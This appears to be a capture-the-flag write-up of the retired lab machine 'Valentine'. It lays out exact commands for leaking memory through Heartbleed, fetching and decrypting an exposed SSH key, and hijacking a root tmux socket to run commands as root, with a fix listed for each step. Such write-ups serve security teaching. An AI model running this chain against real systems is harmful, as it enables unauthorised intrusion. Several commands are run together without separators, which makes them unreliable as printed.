Valentine
Summary
My found an HTTPS service running a version of OpenSSL vulnerable to Heartbleed (CVE-2014-0160) and a web endpoint that openly served an encrypted SSH private key. By flooding the server with malformed TLS heartbeat requests, I accumulated roughly 1 MB of leaked process memory until a base64-encoded passphrase appeared in the dump.
Combining that passphrase with the downloaded key gave me an SSH session as the local user 'hype'. A root-owned tmux session had left its control socket at a path the 'hype' account could write to, allowing direct command injection into a root shell and completing the full compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 22,80,443 $TARGETcurl -sk https://$TARGET/dev/hype_key | head -5FixRemove private key material from web-accessible pathsCritical
Exact commands 1
nmap --script ssl-heartbleed -p 443 $TARGETFixUpgrade OpenSSL to eliminate the Heartbleed vulnerabilityCritical
Exact commands 3
python2 heartbleed.py -n 100 $TARGET > /tmp/valentine_heartbleed.binstrings /tmp/valentine_heartbleed.bin | grep 'text='echo '$PASSWORD2' | base64 -dExact commands 2
curl -sk https://$TARGET/dev/hype_key | xxd -r -p > /tmp/hype_key.pem && chmod 600 /tmp/hype_key.pemopenssl rsa -in /tmp/hype_key.pem -out /tmp/hype_key_nopass.pem -passin pass:$PASSWORDExact commands 1
ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET 'id; cat /home/hype/user.txt'Exact commands 2
ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET 'ls -la /.devs/'ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET "tmux -S /.devs/dev_sess send-keys 'id; cat /root/root.txt' C-m; sleep 1; tmux -S /.devs/dev_sess capture-pane; tmux -S /.devs/dev_sess save-buffer -"FixRestrict privileged tmux session socket permissionsHigh
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.